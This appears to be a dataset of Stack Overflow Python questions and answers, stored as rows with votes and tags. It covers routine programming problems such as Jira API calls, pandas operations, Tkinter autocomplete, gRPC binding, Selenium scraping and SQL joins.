[ "As an example, you have a form like this where the form fields are given a name attribute.\n<form name=\"my-form\">\n <div>\n <label for=\"name\">Name</label>\n <input type=\"text\" name=\"name\" id=\"name\" />\n </div>\n <button type=\"submit\">Submit</button>\n</form>\n\nNow you can use Ja...
[ 0 ]
[]
[]
[ "fetch_api", "flask", "javascript", "python" ]
stackoverflow_0074195369_fetch_api_flask_javascript_python.txt
Q: Assign a existing jira ticket/issue to a user in Python I'm trying to assign a existing jira ticket using python. Tried the below methods , but none are working. I'm able to add comments but not assign the issue #Method 1 Using Jira library - Getting JiraError HTTP None, text list index out of range from j...
Assign a existing jira ticket/issue to a user in Python
I'm trying to assign a existing jira ticket using python. Tried the below methods , but none are working. I'm able to add comments but not assign the issue #Method 1 Using Jira library - Getting JiraError HTTP None, text list index out of range from jira import JIRA jira_connection = JIRA(basic_auth=(userna...
[ "import requests\nfrom requests.auth import HTTPBasicAuth\nimport json\n\nurl = \"https://your-domain.atlassian.net/rest/api/3/issue/{issueIdOrKey}/assignee\"\n\nauth = HTTPBasicAuth(\"email@example.com\", \"<api_token>\")\n\nheaders = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/js...
[ 1 ]
[]
[]
[ "jira", "jira_rest_api", "python", "python_3.x", "python_jira" ]
stackoverflow_0072107844_jira_jira_rest_api_python_python_3.x_python_jira.txt
Q: TypeError when using undetected-chromedriver I am using undetected-chromedriver library but when i run import undetected_chromedriver as uc driver = uc.Chrome() driver.get('https://nowsecure.nl') I , keep getting the below error: [Process Process-1: Traceback (most recent call last): File "C:\Users\DC\AppData\L...
TypeError when using undetected-chromedriver
I am using undetected-chromedriver library but when i run import undetected_chromedriver as uc driver = uc.Chrome() driver.get('https://nowsecure.nl') I , keep getting the below error: [Process Process-1: Traceback (most recent call last): File "C:\Users\DC\AppData\Local\Programs\Python\Python39\lib\multiprocessing\...
[ "chrome_options = uc.ChromeOptions()\nchrome_options.add_argument(\"--no-sandbox\")\nchrome_options.add_argument(\"--disable-dev-shm-usage\")\nchrome_options.add_argument(\"--start-maximized\")\nchrome_options.add_argument('--disable-popup-blocking')\n\ndriver = uc.Chrome(options=chrome_options)\n\ndriver.get('http...
[ 1, 0 ]
[]
[]
[ "python", "selenium_chromedriver", "selenium_webdriver", "undetected_chromedriver" ]
stackoverflow_0073425820_python_selenium_chromedriver_selenium_webdriver_undetected_chromedriver.txt
Q: error with img build in method decode bytes - Dash plotly I can't upload a img to my app, when i try i just got a "broken image". i'm using this piece of code, the only piece of method that i found on plotly forum. encoded_image = base64.b64encode(open(r'\path\img.png', 'rb').read()) html.Div([ html.Img(id='im...
error with img build in method decode bytes - Dash plotly
I can't upload a img to my app, when i try i just got a "broken image". i'm using this piece of code, the only piece of method that i found on plotly forum. encoded_image = base64.b64encode(open(r'\path\img.png', 'rb').read()) html.Div([ html.Img(id='image_png', src='data:image/png;base64,{}'.format((encoded_image....
[ "You should use decode() function correctly as follows:\nimport dash\nfrom dash import html\nimport base64\n\napp = dash.Dash()\n\nimage_filename = './child.png'\nencoded_image = base64.b64encode(open(image_filename, 'rb').read()).decode()\n\napp.layout = html.Div([\n html.Img(src='data:image/png;base64,{}'.form...
[ 2 ]
[]
[]
[ "plotly_dash", "python" ]
stackoverflow_0074197021_plotly_dash_python.txt
Q: i am getting an error it is saying turtle object not callable import turtle import tkinter as tk def importantmoving(): win = turtle.Screen() win.title("moving") win.bgcolor("black") win.setup(width=800, height=800) win.tracer(0) #moving a = turtle.Turtle() a.speed(0) a.shape("s...
i am getting an error it is saying turtle object not callable
import turtle import tkinter as tk def importantmoving(): win = turtle.Screen() win.title("moving") win.bgcolor("black") win.setup(width=800, height=800) win.tracer(0) #moving a = turtle.Turtle() a.speed(0) a.shape("square") a.color("white") a.shapesize(stretch_wid=5,stretch...
[ "Besides the callback issue that @JohnnyMopp notes (+1), this code is poorly constructed. The while True: loop is simply not needed nor desirable. It's not clear why everything is bundled inside importantmoving(). You also don't need to import tkinter. Below is my rework of your code, see if it does what you in...
[ 1 ]
[]
[]
[ "python", "python_turtle" ]
stackoverflow_0074195538_python_python_turtle.txt
Q: Class callback doesn't work after defining variables I am trying to call back a class method within another class. It works fine if I don't define the variable x,y,z (see commented portion) while creating objects. However, if I explicitly define the variable names, it doesn't work. Wondering what's making this hap...
Class callback doesn't work after defining variables
I am trying to call back a class method within another class. It works fine if I don't define the variable x,y,z (see commented portion) while creating objects. However, if I explicitly define the variable names, it doesn't work. Wondering what's making this happen? class ClassA(): def __init__(self, a, b): ...
[ "You defined the callback_method to only accept positional arguments with *args but no keyword arguments.\nInstead you can make it accept both & pass it on to ClassB in order to make sure you can call it with either positional or keyword arguments:\nclass ClassA():\n ...\n\n def callback_method(self, *args, *...
[ 5 ]
[]
[]
[ "python" ]
stackoverflow_0074197335_python.txt
Q: How would I write separate words to a file, with words between them? I am trying to write words from words.txt to newfile.txt using python3, with a format like this: words.txt: Hello I am a file and I want the word Morning added between each new word in words.txt, inside a new file called newfile.txt. so newfile....
How would I write separate words to a file, with words between them?
I am trying to write words from words.txt to newfile.txt using python3, with a format like this: words.txt: Hello I am a file and I want the word Morning added between each new word in words.txt, inside a new file called newfile.txt. so newfile.txt should look like this: Hello Morning I Morning Am Morning A Morning Fi...
[ "To avoid blowing main memory for a large file, you'd want to insert the extra strings as you go. It's not hard, just a little tricky to ensure they only go between existing lines, not at the beginning or end:\n# Open both files\nwith open('words.txt') as inf, open('newfile.txt', 'w') as outf:\n outf.write(next(...
[ 0, 0, 0, 0 ]
[]
[]
[ "append", "file", "python", "python_3.x" ]
stackoverflow_0074196995_append_file_python_python_3.x.txt
Q: Precise type annotating array (numpy.ndarray) of matplotlib Axes from plt.subplots() I wanted to have no errors while using VSCode Pylance type checker. How to type the axs correctly in the following code: import matplotlib.pyplot as plt fig, axs = plt.subplots(2, 2) In the image below, you can see that Pylance o...
Precise type annotating array (numpy.ndarray) of matplotlib Axes from plt.subplots()
I wanted to have no errors while using VSCode Pylance type checker. How to type the axs correctly in the following code: import matplotlib.pyplot as plt fig, axs = plt.subplots(2, 2) In the image below, you can see that Pylance on VSCode is detecting an error.
[ "It turns out that strongly typing the axs variable is not straightforward at all and requires to understant well how to type np.ndarray.\nSee this question and this question for more details.\nThe simplest and most powerful solution is to wrap numpy.ndarray with ' characters, in order to avoid the infamous TypeErr...
[ 0, 0 ]
[]
[]
[ "matplotlib", "pylance", "python", "python_typing" ]
stackoverflow_0072649220_matplotlib_pylance_python_python_typing.txt
Q: How to set the data by considering the columns I have a data frame like data={'x':[0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,0,0,0,0],'y':[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1], 'subx':[0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3],'suby':[0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3], 'data':[10,20,10,10,11,13,13,15,12,13,14,...
How to set the data by considering the columns
I have a data frame like data={'x':[0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,0,0,0,0],'y':[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1], 'subx':[0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3],'suby':[0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3,0,1,2,3], 'data':[10,20,10,10,11,13,13,15,12,13,14,12,14,12,12,13,11,20,14,47]} I want create a table ...
[ "Is the shape what you expected? Then you can just add\npd.pivot_table(..., fill_value=0)\n\npivot_table will leave every field blank if the combination of indices did not exist in your original dataframe\nIn [10]: pd.pivot_table(\n ...: data=df,\n ...: index=[\"y\", \"suby\"],\n ...: columns=[...
[ 1 ]
[]
[]
[ "pandas", "python" ]
stackoverflow_0074197313_pandas_python.txt
Q: How do I group by with name, preserve keys and names using itertools? I am working with a data set that is a simple SQL Query that fetches the desired rows. [(2, 5, 'JOHN K', 'YAHOO'), (2, 6, 'AARON M', 'YAHOO'), (2, 7, 'NICK C', 'YAHOO'), (1, 2, 'CELESTE G', 'GOOGLE'), (1, 3, 'RICH M', 'GOOGLE'), (1, 4, 'SANDEEP ...
How do I group by with name, preserve keys and names using itertools?
I am working with a data set that is a simple SQL Query that fetches the desired rows. [(2, 5, 'JOHN K', 'YAHOO'), (2, 6, 'AARON M', 'YAHOO'), (2, 7, 'NICK C', 'YAHOO'), (1, 2, 'CELESTE G', 'GOOGLE'), (1, 3, 'RICH M', 'GOOGLE'), (1, 4, 'SANDEEP C', 'GOOGLE')] What I have so far that yields the grouping without keys - ...
[ "# 1\nans = {}\nfor a, b, c, d in arr:\n ans.setdefault(\"\".join([\"(\", \",\".join([d, str(a)]), \")\"]), []).\\\n append(\"\".join([\"(\", \",\".join([c, str(b)]), \")\"]))\n{k: \";\".join(v) for k, v in ans.items()}\n# {'(YAHOO,2)': '(JOHN K,5);(AARON M,6);(NICK C,7)',\n# '(GOOGLE,1)': '(CELESTE G,2)...
[ 2, 1 ]
[]
[]
[ "itertools_groupby", "python", "python_itertools" ]
stackoverflow_0074197303_itertools_groupby_python_python_itertools.txt
Q: Pylance not working in VSCode Jupyter notebooks Pylance works for .py files: But doesn't work with Jupyter .ipynb notebooks: I tried saving the .ipynb - same issue. How can enable Pylance warnings in my notebooks? A: It seems that the Jupyter extension doesn't support Pylance. I submitted this issue to address...
Pylance not working in VSCode Jupyter notebooks
Pylance works for .py files: But doesn't work with Jupyter .ipynb notebooks: I tried saving the .ipynb - same issue. How can enable Pylance warnings in my notebooks?
[ "It seems that the Jupyter extension doesn't support Pylance.\nI submitted this issue to address this shortcoming:\nPylance / Language server support #4307\n", "I had this same problem and fixed by uninstall the jupyter extention and install the latest version of it.\nProbably Tom has already solved your problem ...
[ 8, 2, 0 ]
[]
[]
[ "jupyter_notebook", "pylance", "python", "visual_studio_code" ]
stackoverflow_0065561436_jupyter_notebook_pylance_python_visual_studio_code.txt
Q: pd.concat() not merging on same index I have a DataFrame containing forecasts called fcst that looks like this: yhat yhat_lower yhat_upper ds 2015-08-31 -0.443522 -19.067399 17.801234 2015-09-30 6.794625 -31.472186 46.667981 ... After making this transformation: fcst2 = fcs...
pd.concat() not merging on same index
I have a DataFrame containing forecasts called fcst that looks like this: yhat yhat_lower yhat_upper ds 2015-08-31 -0.443522 -19.067399 17.801234 2015-09-30 6.794625 -31.472186 46.667981 ... After making this transformation: fcst2 = fcst["yhat"].to_frame().rename(columns={"yhat"...
[ "It does not work because pd.concat has as default value for the parameter axis=0. So you can either call the function with axis=1 as suggested by Dominique Paul or you can use the function join instead. Follows an example:\n# data to create the dataframes with\ndata_1 = [1,2,3,4,5]\nindex_1 = ['a','b','c','d','e']...
[ 3, 2, 1 ]
[]
[]
[ "dataframe", "pandas", "python", "python_3.x" ]
stackoverflow_0052948106_dataframe_pandas_python_python_3.x.txt
Q: Multiindex dictionary - transform dict with other indexes - look up dictionary I am trying to transform my dictionary to a "look up dictionary" with multiindexes. I have the following dictionary where the current keys are the period: {8: {'FlightName': ['Flightname612'], 'Flight_idx': array([268]), 'Baggage': ...
Multiindex dictionary - transform dict with other indexes - look up dictionary
I am trying to transform my dictionary to a "look up dictionary" with multiindexes. I have the following dictionary where the current keys are the period: {8: {'FlightName': ['Flightname612'], 'Flight_idx': array([268]), 'Baggage': array([149]), 'infeed_idx': [1]}, 9: {'FlightName': ['Flightname612'], 'Flight_...
[ "You can create a dataframe with data as your input dictionary's values and index as its keys.\nThen reset_index() to make a new column for period and set_index() with [Flight_idx, infeed_idx] and use that to build a dictionary by using to_dict.\nCode:\ndf = pd.DataFrame(in_dict.values(), index=in_dict.keys())\nout...
[ 1 ]
[]
[]
[ "dictionary", "pandas", "python" ]
stackoverflow_0074196975_dictionary_pandas_python.txt
Q: How to prevent errno 32 broken pipe? Currently I am using an app built in python. When I run it in personal computer, it works without problems. However, when I move it into a production server. It keeps showing me the error attached as below:. I've done some research and I got the reason that the end user brows...
How to prevent errno 32 broken pipe?
Currently I am using an app built in python. When I run it in personal computer, it works without problems. However, when I move it into a production server. It keeps showing me the error attached as below:. I've done some research and I got the reason that the end user browser stops the connection while the server i...
[ "Your server process has received a SIGPIPE writing to a socket. This usually happens when you write to a socket fully closed on the other (client) side. This might be happening when a client program doesn't wait till all the data from the server is received and simply closes a socket (using close function). \nIn a...
[ 111, 17, 10, 3, 1, 0 ]
[]
[]
[ "broken_pipe", "python" ]
stackoverflow_0011866792_broken_pipe_python.txt
Q: Is there an equivalent to Python response.history in C# (.NET 6)? I need to get one response before the final one made in C# and its header. I can do it in python using: response = requests.post(f"{uri}") response.history #List In C# I'm currently usign HttpClient to make the POST request, but I can only get the...
Is there an equivalent to Python response.history in C# (.NET 6)?
I need to get one response before the final one made in C# and its header. I can do it in python using: response = requests.post(f"{uri}") response.history #List In C# I'm currently usign HttpClient to make the POST request, but I can only get the final response with var responseString = await response.Content.ReadAs...
[ "You can disable automatic redirection in HttpClient like this:\nHttpClientHandler httpClientHandler = new HttpClientHandler { AllowAutoRedirect = false};\nHttpClient httpClient = new HttpClient(httpClientHandler);\n\n// Use httpClient. It will not automatically redirect\n\nSo you have to manually check the status ...
[ 1 ]
[]
[]
[ ".net", "c#", "httprequest", "python" ]
stackoverflow_0074196183_.net_c#_httprequest_python.txt
Q: how to do replacement of mulile string with multiple values in regex python Given the following string: """ All I want is a proper cup of coffee Made in a proper copper coffee pot I may be off my dot But I want a cup of coffee From a proper coffee pot Tin coffee pots and iron coffee pots They’re no use to me If I ...
how to do replacement of mulile string with multiple values in regex python
Given the following string: """ All I want is a proper cup of coffee Made in a proper copper coffee pot I may be off my dot But I want a cup of coffee From a proper coffee pot Tin coffee pots and iron coffee pots They’re no use to me If I can’t have a proper cup of coffee In a proper copper coffee pot I’ll have a cup o...
[ "I'm not sure what you mean by \"highlight\", but here's an example of a RegEx that matches all instances \"coffee\", \"pot\", and \"pots\" at the end of a line:\nimport re\n\nstring = \"\"\"\nAll I want is a proper cup of coffee\nMade in a proper copper coffee pot\nI may be off my dot\nBut I want a cup of coffee\n...
[ 0 ]
[]
[]
[ "jupyter_notebook", "python", "regex" ]
stackoverflow_0074197046_jupyter_notebook_python_regex.txt
Q: Tkinter Text Autofill I am trying to make a simple and personal IDE for python using tkinter. I have seen it done before and have everything form syntax highlighting to a built in terminal but have the problem of no autofill. I know that you can have autofill in entry's with many methods out there but after search...
Tkinter Text Autofill
I am trying to make a simple and personal IDE for python using tkinter. I have seen it done before and have everything form syntax highlighting to a built in terminal but have the problem of no autofill. I know that you can have autofill in entry's with many methods out there but after searching for autofill with Text ...
[ "For a rudimentary autocomplete feature the basic algorithm is fairly simple:\n\nintercept key releases (which occur after tkinter automatically inserts the text that was typed)\nget the word before the cursor and call a callback to find possible matches\nadd the first possible match, and select the part that was a...
[ 2, 0 ]
[]
[]
[ "autocomplete", "python", "tk_toolkit", "tkinter" ]
stackoverflow_0071770128_autocomplete_python_tk_toolkit_tkinter.txt
Q: Adding multiple items to dictionary def AddStudent(): #Variable to control the loop again = 'y' #While loop that gets user input to be added to dictionary while again.lower() == 'y': student_key = input("What's the name of the student? ") #Ask user for number of grades n ...
Adding multiple items to dictionary
def AddStudent(): #Variable to control the loop again = 'y' #While loop that gets user input to be added to dictionary while again.lower() == 'y': student_key = input("What's the name of the student? ") #Ask user for number of grades n = int(input('How many grades do you wish ...
[ "Your StudentGradebook function is always beginning with:\ngrade_book = {'Tom':[90,85,82], 'Bob':[92,79,85]}\n\nand since it neither returns the resulting modified dict nor stores it elsewhere, it's always restarting from scratch. If you want to preserve a single student gradebook across calls, I'd recommend making...
[ 1, 1, 0, 0 ]
[]
[]
[ "dictionary", "function", "loops", "python" ]
stackoverflow_0074196359_dictionary_function_loops_python.txt
Q: When using ScreenManager to load image as a button I get Invalid property name When I use default code for screenmanager to switch between the screens it works: <MainWindow>: name:'Main' BoxLayout: orientation:'horizontal' size: root.width, root.height Button: text:'He...
When using ScreenManager to load image as a button I get Invalid property name
When I use default code for screenmanager to switch between the screens it works: <MainWindow>: name:'Main' BoxLayout: orientation:'horizontal' size: root.width, root.height Button: text:'Hello' font_size:32 color:1,1,1,1 on...
[ "If you want to use an Image as a Button, you can extend the Image class with ButtonBehavior. See the documentation.\nOr, you can use the properties of the Button. See the documentation, like this:\n Button:\n #text:'Hello'\n #font_size:32\n #color:1,1,1,1\n background_normal: 'photo....
[ 1 ]
[]
[]
[ "image", "kivy", "python" ]
stackoverflow_0074196480_image_kivy_python.txt
Q: Can I use default values based on previously passed positional arguments? Is it possible to use a default variable based on previously passed positional arguments? I'm trying to do something similar: def ex(a, b=a+1): return a+b A: You can do that inside of the body, but not the signature. def ex(a, b=None):...
Can I use default values based on previously passed positional arguments?
Is it possible to use a default variable based on previously passed positional arguments? I'm trying to do something similar: def ex(a, b=a+1): return a+b
[ "You can do that inside of the body, but not the signature.\ndef ex(a, b=None):\n if b is None:\n b=a+1\n return a+b\n\n" ]
[ 0 ]
[]
[]
[ "default_arguments", "function", "python" ]
stackoverflow_0074197565_default_arguments_function_python.txt
Q: Is there a better way to pick a winner for rock paper scissors? Learning python casually, and decided to give rock paper scissors a go as a quick project. Went pretty smooth, but I got really caught up in the process of trying to shorten the code you use to compare the results. def check_results(ai, self): if ...
Is there a better way to pick a winner for rock paper scissors?
Learning python casually, and decided to give rock paper scissors a go as a quick project. Went pretty smooth, but I got really caught up in the process of trying to shorten the code you use to compare the results. def check_results(ai, self): if ai == self: return 'tralf' if self == 'rock': if ...
[ "At the cost of readability and error-checking, something like this maybe:\ndef did_player_win(player_choice, computer_choice):\n choices = ['scissors', 'paper', 'rock']\n # The order in which the strings appear in the list is important.\n # scissors beats paper\n # paper beats rock\n # rock beats sc...
[ 1, 0 ]
[]
[]
[ "python" ]
stackoverflow_0074197482_python.txt
Q: How to run grpc on ipv4 only I'm going to run a grpc server on IPv4 address like this: server = grpc.server(futures.ThreadPoolExecutor(max_workers=10)) protoc_pb2_grpc.add_ProtocServicer_to_server(StockProtocServicer(), server) server.add_insecure_port('0.0.0.0:5000') server.start() But it it's listening to IPv6....
How to run grpc on ipv4 only
I'm going to run a grpc server on IPv4 address like this: server = grpc.server(futures.ThreadPoolExecutor(max_workers=10)) protoc_pb2_grpc.add_ProtocServicer_to_server(StockProtocServicer(), server) server.add_insecure_port('0.0.0.0:5000') server.start() But it it's listening to IPv6. Here is the output for lsof -i -n...
[ "TLDR: If you use an IPv4 address, it's using IPv4, not IPv6. You have what you want, even though lsof says IPv6.\n\nlsof and \"IPv4-mapped IPv6 address\" explanation\nWhen using the IPv4 address, my python client still shows type as IPv6 when lsof -nP -i4TCP | grep appname.\nFrom man lsof:\n\nWhen an open IPv4 net...
[ 0 ]
[]
[]
[ "grpc", "python" ]
stackoverflow_0067559461_grpc_python.txt
Q: Using Python to convert integer to binary I'm trying to convert integer to binary. This is my work. I don't know how the make a list to show the binary. num_str = input("Please give me a integer: ") num_int = int(num_str) while num_int > 0: if num_int % 2 == 0: num_int = int(num_int / 2) num...
Using Python to convert integer to binary
I'm trying to convert integer to binary. This is my work. I don't know how the make a list to show the binary. num_str = input("Please give me a integer: ") num_int = int(num_str) while num_int > 0: if num_int % 2 == 0: num_int = int(num_int / 2) num_remainder = 1 print("The remainder is:...
[ "Are you aware of the builtin bin function?\n>>> bin(100)\n'0b1100100'\n>>> bin(1)\n'0b1'\n>>> bin(0)\n'0b0'\n\n", "You are on the right track, you just need to save the digits in a variable somewhere instead of just printing them to the screen:\nnum_str = input(\"Please give me a integer: \")\n\nnum_int = int(nu...
[ 17, 4, 1, 1, 0, 0, 0, 0 ]
[]
[]
[ "binary", "integer", "python" ]
stackoverflow_0014596367_binary_integer_python.txt
Q: Get the current url when it's not valid with Selenium Python I'm an beginner learning web scraping with Selenium. Recently I faced the problem that sometimes there are button elements that do not have a "href" attribute with link to the website it leads to. In order to obtain the link or useful information from th...
Get the current url when it's not valid with Selenium Python
I'm an beginner learning web scraping with Selenium. Recently I faced the problem that sometimes there are button elements that do not have a "href" attribute with link to the website it leads to. In order to obtain the link or useful information from that link, I need to click on the button and get the current url in ...
[ "What you could do instead of finding the button to click and opening a new tab is to do the following:\nimport json\n\nspotify_data_request = driver.find_element(\"id\",'__NEXT_DATA__') # get the data stored in a script tag with id = '__NEXT_DATA__'\ntemp = json.loads(spotify_data_request.get_attribute('innerHTML...
[ 0 ]
[]
[]
[ "python", "selenium" ]
stackoverflow_0074196060_python_selenium.txt
Q: Getting error while installing python package scrapy I am try to install scrapy for web scraping in python. But getting an error . Using cached PyDispatcher-2.0.6.tar.gz (38 kB) ERROR: Error [WinError 225] Operation did not complete successfully because the file contains a virus or potentially unwanted software w...
Getting error while installing python package scrapy
I am try to install scrapy for web scraping in python. But getting an error . Using cached PyDispatcher-2.0.6.tar.gz (38 kB) ERROR: Error [WinError 225] Operation did not complete successfully because the file contains a virus or potentially unwanted software while executing command python setup.py egg_info Preparing ...
[ "How did you try to install it? pip install scrapy should work.\n", "it's just an antivirus problem that prevents it from installing certain packages like scrapy.\nYou can turn off your antivirus or watch this video to open virus and threat protection(in windows)\nhttps://www.youtube.com/watch?v=_0_A9D0JeVo\n" ]
[ 0, 0 ]
[]
[]
[ "python", "scrapy" ]
stackoverflow_0073639396_python_scrapy.txt
Q: Can't get JSON response to be printed or stored in variable selenium python Using below code as an example to get what i want in res variable from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.keys import Keys from selenium.webdriver.commo...
Can't get JSON response to be printed or stored in variable selenium python
Using below code as an example to get what i want in res variable from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.chrome.options import Options import time ...
[ "You can grab all the required data from API as json format as follows:\nimport requests\n\napi_url = \"https://www.nseindia.com/api/option-chain-indices?symbol=NIFTY\"\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',\...
[ 1, 0 ]
[]
[]
[ "json", "python", "selenium" ]
stackoverflow_0074196705_json_python_selenium.txt
Q: Python Attribute Error: 'tuple' object has no attribute 'append' My code keeps having the same error and I have tried a few ways to fix it but none have worked can anyone help me with it? The code: def main(): p.init() screen = p.display.set_mode((WIDTH, HEIGHT)) clock = p.time.Clock() screen.fill(...
Python Attribute Error: 'tuple' object has no attribute 'append'
My code keeps having the same error and I have tried a few ways to fix it but none have worked can anyone help me with it? The code: def main(): p.init() screen = p.display.set_mode((WIDTH, HEIGHT)) clock = p.time.Clock() screen.fill(p.Color("white")) gs = GameState() LoadImages() running= T...
[ "The first initialization of playerClicks is as a tuple:\nplayerClicks = ()\n\nbut later it's set to an empty list:\nplayerClicks = []\n\nYou can't append to a tuple, because once they're created they can't be changed.\nIf you change the first initialization to an empty list that would allow appending to it.\n" ]
[ 0 ]
[]
[]
[ "attributeerror", "python", "tuples" ]
stackoverflow_0074197488_attributeerror_python_tuples.txt
Q: Problem when building Python-3.7.3 from source on Mac M1 I have to install Python 3.7.3 on my Mac M1. I downloaded Python, moved into the folder and executed the following command: ./configure --enable-shared --with-openssl=/usr/local/opt/openssl/ --prefix=path_to_install (I replaced path_to_install with a real pa...
Problem when building Python-3.7.3 from source on Mac M1
I have to install Python 3.7.3 on my Mac M1. I downloaded Python, moved into the folder and executed the following command: ./configure --enable-shared --with-openssl=/usr/local/opt/openssl/ --prefix=path_to_install (I replaced path_to_install with a real path) This is the output that I receive: checking build system t...
[ "Can you use the Homebrew package manager (https://brew.sh/)?\nThen you can install a specific version with brew install python@3.7.3\nUPDATE: It looks like in recent versions of clang, a breaking change was made for the python build scripts: https://github.com/pyenv/pyenv/issues/2143. A fix is present in version ...
[ 0 ]
[]
[]
[ "python" ]
stackoverflow_0074197700_python.txt
Q: needed to extract the quarter from a given date Problem 1 As an analyst, you had to present the quarterly performance results of your client. The data which you were provided was on daily basis. To complete this task, you needed to extract the quarter from a given date. For example: if the date lies between 1st Ja...
needed to extract the quarter from a given date
Problem 1 As an analyst, you had to present the quarterly performance results of your client. The data which you were provided was on daily basis. To complete this task, you needed to extract the quarter from a given date. For example: if the date lies between 1st Jan, 2020 - 31st March, 2020, you need to extract the c...
[ "Hi and welcome to stackoverflow. I'm sure that this answer to a similar question will certainly help you.\nHere is a quick summary of the above answer. Basically, you just need to check what month a given date is from and convert it to a number (1 to 12). If you subtract 1 from this (so it runs from 0 for january ...
[ 0, 0 ]
[ "Define a dictionary with the 'limits' of each quarter. I would do something like this:\nfrom datetime import date\n\nquarters = {\n '2020-Q1': ((2020, 1, 1), (2020, 3, 31)),\n '2020-Q2': ((2020, 4, 1), (2020, 6, 30)),\n '2020-Q3': ((2020, 7, 1), (2020, 9, 30)),\n '2020-Q...
[ -1, -1 ]
[ "conditional_statements", "date", "if_statement", "python", "quarter" ]
stackoverflow_0070095499_conditional_statements_date_if_statement_python_quarter.txt
Q: How to run python program I am trying to make some adjustments to this code and test it: https://github.com/openai/whisper However, after I make the adjustments to the code, I am not sure how to run the whisper program as a CLI. I have it installed globally so I can run $ whisper properly, but how do I run it loca...
How to run python program
I am trying to make some adjustments to this code and test it: https://github.com/openai/whisper However, after I make the adjustments to the code, I am not sure how to run the whisper program as a CLI. I have it installed globally so I can run $ whisper properly, but how do I run it locally? I clearly don't understand...
[ "Try this\nClone the repo or Download the repository Zip.\nExtract it\nOpen a terminal and change directory into the newly extracted folder\n$ cd whisper\n\nThen install the requirements by typing this\n$ pip install requirements.txt\n\nThe file exist so it will work\nNow create a wheel\n$ python setup.py bdist_whe...
[ 0 ]
[]
[]
[ "python", "python_3.x" ]
stackoverflow_0074197554_python_python_3.x.txt
Q: SQL code for finding answer involving two tables I have a database. These database has two tables. One table is music. name Date Edition Song_ID Singer_ID LA 01.05.2009 1 1 1 Second 13.07.2009 1 2 2 Mexico 13.07.2009 1 3 1 Let's go 13.09.2009 1 4 3 Hello 18.09.2009 1 5 (4,5) Don't give up 12.02.2010 2 6 (5,...
SQL code for finding answer involving two tables
I have a database. These database has two tables. One table is music. name Date Edition Song_ID Singer_ID LA 01.05.2009 1 1 1 Second 13.07.2009 1 2 2 Mexico 13.07.2009 1 3 1 Let's go 13.09.2009 1 4 3 Hello 18.09.2009 1 5 (4,5) Don't give up 12.02.2010 2 6 (5,6) ZIC ZAC 18.03.2010 2 7 7 Blablabla 1...
[ "You need to use joins when information is present in 2 different tables. here the join would be in SINGER_ID\nSELECT EDITION, COUNT(DISTINCT SINGER.SINGER_ID)\nFROM MUSIC\nINNER JOIN SINGER ON MUSIC.SINGER_ID = SINGER.SINGER_ID\nWHERE SINGER.NATIONALITY = 'USA'\nGROUP BY EDITION\nORDER BY 2 DESC\n\n" ]
[ 1 ]
[]
[]
[ "python", "sqlite" ]
stackoverflow_0074197411_python_sqlite.txt
Q: How to find the center of coordinates of yellow colour in a image using opencv I want to find the center of yellow colour box which is in my image using opencv. It would be great if someone explain the code from scratch. I tried to use numpy and find the coordinates. But i wasn't able to get the coordinates of all...
How to find the center of coordinates of yellow colour in a image using opencv
I want to find the center of yellow colour box which is in my image using opencv. It would be great if someone explain the code from scratch. I tried to use numpy and find the coordinates. But i wasn't able to get the coordinates of all the yellow colour so that i can take avg nd find the center.
[ "It would be better if you could provide more information about the image/yellow color box.\nLet's assume you have an image similar to the following image:\n\nFirst, we have to read the image and convert it to HSV Space. HSV value represents the color closely to what we perceive. This article might be helpful for y...
[ 1 ]
[]
[]
[ "image_processing", "opencv", "python" ]
stackoverflow_0074196666_image_processing_opencv_python.txt
Q: Possible Race Condition when limiting model creation by count I have a django view function representing a redemption process of a prize. I'm trying to eliminate the possible race condition when setting a redemption limit based on the count of a linked model (Redemption). At a high level my view function looks lik...
Possible Race Condition when limiting model creation by count
I have a django view function representing a redemption process of a prize. I'm trying to eliminate the possible race condition when setting a redemption limit based on the count of a linked model (Redemption). At a high level my view function looks like this: def redeem(request, prize_id): # Get a prize model that...
[ "This is a great question.\nYou can use select_for_update which was introduced in Django 1.4 and does a row level locking of the database. All objects in the queryset will be \"locked\" until the end of the transaction block, meaning that other transactions will be prevented from changing or acquiring locks on them...
[ 0 ]
[]
[]
[ "django", "django_models", "django_views", "python" ]
stackoverflow_0074196938_django_django_models_django_views_python.txt